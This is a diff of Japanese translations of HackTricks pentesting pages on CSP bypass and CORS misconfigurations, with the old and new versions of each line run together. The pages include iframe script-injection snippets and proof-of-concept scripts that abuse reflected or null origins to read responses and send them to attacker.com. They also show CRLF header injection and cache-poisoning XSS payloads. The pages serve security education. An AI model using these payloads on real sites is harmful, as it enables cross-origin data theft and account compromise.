* **ハッキングトリックを共有するは、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。 * **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに
</details> </details>
@ -19,7 +19,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline';
``` ```
### テキストと画像を通じて ### テキストと画像を通じて
現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されていますたとえば、背景の設定、中央揃えなど。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特に、これらのページにはしばしばCSPヘッダーが欠けていることがあり、X-Frame-Optionsが含まれていない可能性があり、それらから任意のJavaScriptが実行される可能性があります。 現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されていますたとえば、背景の設定、中央揃えなど。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特筆すべきは、これらのページにはしばしばCSPヘッダーが欠けていることやX-Frame-Optionsが含まれていないことがあり、それによりそれらから任意のJavaScriptが実行される可能性があることです。
```javascript ```javascript
frame=document.createElement("iframe"); frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css"; frame.src="/css/bootstrap.min.css";
@ -30,7 +30,7 @@ window.frames[0].document.head.appendChild(script);
``` ```
### エラー経由 ### エラー経由
同様に、テキストファイルや画像などのエラー応答は、通常、CSPヘッダーが付いておらず、X-Frame-Optionsが省略されている場合があります。エラーをiframe内で読み込むように誘導することができ、以下のアクションが可能です。 同様に、テキストファイルや画像などのエラーレスポンスは、通常CSPヘッダーが付与されず、X-Frame-Optionsが省略されることがあります。エラーをiframe内で読み込むよう誘導することで、以下のアクションが可能になります。
```javascript ```javascript
// Inducing an nginx error // Inducing an nginx error
frame=document.createElement("iframe"); frame=document.createElement("iframe");
@ -65,12 +65,12 @@ window.frames[0].document.head.appendChild(script);
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください
</details> </details>

View file

@ -2,27 +2,27 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
## CORSとは ## CORSとは
Cross-Origin Resource SharingCORS標準は、**サーバーがアクセスを許可するクライアント**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。 Cross-Origin Resource SharingCORS標準は、**サーバーがアクセスできるユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義することを可能にします。
**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有している必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。 **同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有することを義務付けます。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。
`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーの適用例 `http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります
| アクセスされURL | アクセスが許可されるか? | | アクセスされURL | アクセスが許可されるか? |
| ----------------------------------------- | ---------------------------------- | | ----------------------------------------- | ---------------------------------- |
| `http://normal-website.com/example/` | はい:同一のスキーム、ドメイン、およびポート | | `http://normal-website.com/example/` | はい:同一のスキーム、ドメイン、およびポート |
| `http://normal-website.com/example2/` | はい:同一のスキーム、ドメイン、およびポート | | `http://normal-website.com/example2/` | はい:同一のスキーム、ドメイン、およびポート |
@ -31,13 +31,13 @@ Cross-Origin Resource SharingCORS標準は、**サーバーがアクセス
| `http://www.normal-website.com/example/` | いいえ:異なるドメイン | | `http://www.normal-website.com/example/` | いいえ:異なるドメイン |
| `http://normal-website.com:8080/example/` | いいえ:異なるポート* | | `http://normal-website.com:8080/example/` | いいえ:異なるポート* |
*Internet Explorerは同一オリジンポリシーポート番号を無視し、このアクセスを許可します。 *Internet Explorerは同一オリジンポリシーにおいてポート番号を無視し、このアクセスを許可します。
### `Access-Control-Allow-Origin`ヘッダー ### `Access-Control-Allow-Origin`ヘッダー
このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**の対象です(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。 このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**されています(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。
このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。 このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーから発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。
### `Access-Control-Allow-Credentials`ヘッダー ### `Access-Control-Allow-Credentials`ヘッダー
@ -74,11 +74,11 @@ xhr.send('<person><name>Arun</name></person>');
### クロスドメイン通信におけるプリフライトリクエストの理解 ### クロスドメイン通信におけるプリフライトリクエストの理解
特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**HEAD、GET、POST以外のもの、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。 特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**HEAD、GET、POST以外のもの、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーに将来のクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。
**Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) が提供する包括的なガイドを参照してください。 **クロスオリジンリソース共有CORS**プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) で提供されている包括的なガイドを参照してください。
重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。 重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力が制限されます。
以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を示しています: 以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を示しています:
``` ```
@ -102,20 +102,9 @@ Access-Control-Max-Age: 240
- **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。 - **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
- **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えて、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。 - **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えて、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。
- **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。 - **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。
- **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーサーバーに通知するために設定されます。 - **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。
- **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。 - **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。
- **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。 - **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。
**通常コンテンツタイプと設定されたヘッダーに応じて、GET/POSTリクエストではプリフライトリクエストは送信されません**(リクエストは**直接**送信されます)。ただし、**レスポンスのヘッダー/本文にアクセスしたい場合**は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
**したがって、CORSはCSRFに対して保護されていませんただし、役立つ場合があります。**
### **ローカルネットワークリクエストのプリフライトリクエスト**
1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを通知します。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
**ローカルネットワークリクエストを許可する有効な応答**は、レスポンスにも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります:
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
... ...
@ -127,23 +116,23 @@ Content-Length: 0
... ...
``` ```
{% hint style="warning" %} {% hint style="warning" %}
**注意**Linuxの**0.0.0.0** IPはこの要件を**バイパス**してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。 **注意**Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。
また、**ローカルネットワークの要件をバイパス**することも可能です。これは、**ローカルエンドポイントのパブリックIPアドレス**(たとえばルーターのパブリックIPを使用する場合に当てはまります。なぜなら、いくつかの場合、**ローカルネットワーク**からアクセスされている場合、たとえ**パブリックIP**にアクセスされていても、アクセスが許可されるからです。 また、ローカルネットワークの要件を **バイパス** することも可能です。これは、ローカルエンドポイントたとえばルーターのパブリックIP**パブリックIPアドレス** を使用する場合に当てはまります。なぜなら、いくつかの場合には、アクセスされているのが **パブリックIP** であっても、それが **ローカルネットワーク** からアクセスされている場合にはアクセスが許可されるからです。
{% endhint %} {% endhint %}
## Exploitable misconfigurations ## Exploitable misconfigurations
`Access-Control-Allow-Credentials`を**`true`**に設定することがほとんどの**実際の攻撃**に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。 `Access-Control-Allow-Credentials` **`true`** に設定することがほとんどの **実際の攻撃** に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、レスポンスを読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。
### 例外:ネットワークロケーションを認証として悪用する ### 例外:ネットワークロケーションを認証として利用する攻撃
被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスできます。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。 被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。
### `Access-Control-Allow-Origin`で`Origin`の反映 ### `Access-Control-Allow-Origin` `Origin` の反映
`Origin`ヘッダーの値が`Access-Control-Allow-Origin`に反映される実世界のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin`ヘッダーの値をコピーして`Access-Control-Allow-Origin`ヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見えるドメインを使用して検証ロジックを欺くことで、脆弱性を導入する可能性があります。 `Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは脆弱性を導入する可能性があり、特に攻撃者が正規のように見せかけるために設計されたドメインを使用する場合、検証ロジックを欺くことができます。
```html ```html
<script> <script>
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@ -158,7 +147,7 @@ location='/log?key='+this.responseText;
``` ```
### `null`オリジンの悪用 ### `null`オリジンの悪用
`null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、固有の位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、れにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣し、CORS制限をバイパスすることが可能になります。 `null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定され、ユニークな位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、れにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣し、CORS制限をバイパスすることができます。
```html ```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@ -186,11 +175,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
``` ```
### 正規表現バイパステクニック ### 正規表現バイパステクニック
ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取り脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。 ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取り脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。
### 高度な正規表現バイパス ### 高度な正規表現バイパス
通常、正規表現パターンは、英数字、ドット(.)、ハイフン(-の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。 通常、正規表現パターンは、英数字、ドット(.)、ハイフン(-の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。
**このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) **このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -198,9 +187,9 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
### サブドメイン内のXSSから ### サブドメイン内のXSSから
開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対抗する防御メカニズムをしばしば実装します。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれるドメイン内に脆弱なサブドメインが1つでも存在すると、他の脆弱性XSSクロスサイトスクリプティングを介してCORSの悪用の扉が開かれる可能性があります。 開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対抗する防御メカニズムを実装することがよくあります。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれる脆弱なサブドメインが1つでも存在すると、XSSクロスサイトスクリプティングなどの他の脆弱性を介してCORSの悪用への道が開かれる可能性があります。
例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているシナリオを考えてみましょう。サーバーサイドの構成は次のようになるかもしれません: 例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているとします。サーバーサイドの構成は次のようになるかもしれません:
```javascript ```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') { if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data // Access data
@ -212,7 +201,7 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
**[この研究から](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** **[この研究から](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
サーバーサイドキャッシュポイズニングを利用して、HTTPヘッダーインジェクションを介して、格納されたクロスサイトスクリプティングXSS脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeユーザーにとって脆弱性を作成します。これらのブラウザは、`\r`0x0dを正当なHTTPヘッダーターミネーターとして扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。 サーバーサイドキャッシュポイズニングを利用して、HTTPヘッダーインジェクションを介して、格納されたクロスサイトスクリプティングXSS脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeユーザーにとって脆弱性を作成します。これらのブラウザは、`\r`0x0dを正当なHTTPヘッダー終端文字として扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。
次のリクエストを考えてみてください。`Origin`ヘッダーが操作されています: 次のリクエストを考えてみてください。`Origin`ヘッダーが操作されています:
```text ```text
@ -225,7 +214,7 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7 Content-Type: text/html; charset=UTF-7
``` ```
直接的にこの脆弱性を悪用してウェブブラウザが不正なヘッダを送信することは実現不可能ですが、Burp Suiteなどのツールを使用して手動で生成されたクラフトされたリクエストを使用することができます。この方法は、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供する可能性があります。クラフトされたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは一部のコンテキストでスクリプトとして実行できるように文字をエンコードする能力を持つため、XSSの脆弱性としばしば関連付けられます。 直接的にこの脆弱性を悪用するためにウェブブラウザが不正なヘッダを送信することは実現可能ではありませんが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエストを使用することができます。この方法は、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供する可能性があります。作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは一部のコンテキストでスクリプトとして実行できるように文字をエンコードする能力を持つため、XSSの脆弱性としばしば関連付けられます。
格納型XSSの脆弱性について詳しくは、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。 格納型XSSの脆弱性について詳しくは、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。
@ -236,11 +225,11 @@ Content-Type: text/html; charset=UTF-7
**[この研究から](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** **[この研究から](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる可能性があります。 このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、その内容にはJavaScriptを実行するために設計されたSVGイメージタグが含まれています。これは、ヘッダーがロード時にJavaScriptコードを実行するように設計されています。
Cross-Origin Resource SharingCORSポリシーにより、カスタムヘッダーの送信が可能になります。ただし、CORSの制限によりブラウザによって応答が直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。`Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。このメカニズムは、クライアントサイドキャッシングを用して攻撃の信頼性を高めます。 Cross-Origin Resource SharingCORSポリシーはカスタムヘッダーの送信を許可します。ただし、CORSの制限によりブラウザによって直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。`Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。このメカニズムは、クライアントサイドキャッシングを用して攻撃の信頼性を高めます。
この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどのウェブページの環境で実行されるように設計されています。このスクリプトは単純なアクションを実行します指定されたURLにカスタムヘッダーを含むリクエストを送信します。リクエストが正常に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理なしに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。 この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどの環境でウェブページの環境で実行されるように設計されています。このスクリプトは単純なアクションを実行します:悪意のあるJavaScriptを含むカスタムヘッダーを含む指定されたURLにリクエストを送信します。リクエストが正常に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。
この攻撃を実行するために使用されるJavaScriptの要約を以下に示します この攻撃を実行するために使用されるJavaScriptの要約を以下に示します
```html ```html
@ -258,11 +247,11 @@ req.send();
### XSSICross-Site Script Inclusion/ JSONP ### XSSICross-Site Script Inclusion/ JSONP
XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシーSOPが適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれたコンテンツにアクセスして読むことができます。 XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシーSOPが適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。
この脆弱性は、特にダイナミックなJavaScriptやJSONPPadding付きJSONに関連する場合に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する際、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。 この脆弱性は、特にダイナミックなJavaScriptやJSONPPadding付きJSONに関連する場合に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する際、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。
この脆弱性をよりよく理解し、軽減するために、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定し対処するのに役立ちます。 この脆弱性をよりよく理解し、緩和するために、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定し対処するのに役立ちます。
